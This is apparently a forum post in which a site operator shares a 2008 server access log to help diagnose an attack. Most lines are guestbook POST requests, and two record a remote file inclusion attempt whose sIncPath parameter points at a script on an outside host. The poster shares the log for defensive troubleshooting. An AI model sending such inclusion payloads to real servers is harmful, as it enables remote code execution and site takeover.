and this is the access log from our server but we installed now all new ( just the os system not more) :

195.58.3.163 - - [25/Jul/2008:06:13:15 +0200] "POST /community/guestbook.php?owner=100005 HTTP/1.1" 404 1351 "http://www.digital-renaissances.org/community/guestbook.php?owner=100005&action=show_add" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
89.149.242.88 - - [25/Jul/2008:06:13:16 +0200] "POST /community/guestbook.php?owner=100005 HTTP/1.1" see more 404 1351 "http://www.digital-renaissances.org/community/guestbook.php?owner=100005&action=show_add" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
90.157.115.140 - - [25/Jul/2008:06:19:18 +0200] "POST /community/guestbook.php?owner=100005 HTTP/1.0" 404 1351 "http://www.digital-renaissances.org/community/guestbook.php?owner=100005&action=show_add" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
64.182.159.1 - - [25/Jul/2008:06:19:34 +0200] "POST /community/guestbook.php?owner=100005 HTTP/1.1" 404 1351 "http://www.digital-renaissances.org/community/guestbook.php?owner=100005&action=show_add" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
216.206.238.35 - - [25/Jul/2008:06:20:51 +0200] "GET /?sIncPath=http://www.doxgroup.com/egroupware/did.txt%0D?? HTTP/1.1" 200 7137 "-" "libwww-perl/5.803"
216.206.238.35 - - [25/Jul/2008:06:21:25 +0200] "GET /community/?sIncPath=http://www.doxgroup.com/egroupware/did.txt%0D?? HTTP/1.1" 404 1086 "-" "libwww-perl/5.803"
66.249.66.66 - - [25/Jul/2008:06:24:08 +0200] "GET /community/ray/ HTTP/1.1" 404 1086 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

he/she trys to enter hahahah

hope it helps for fixing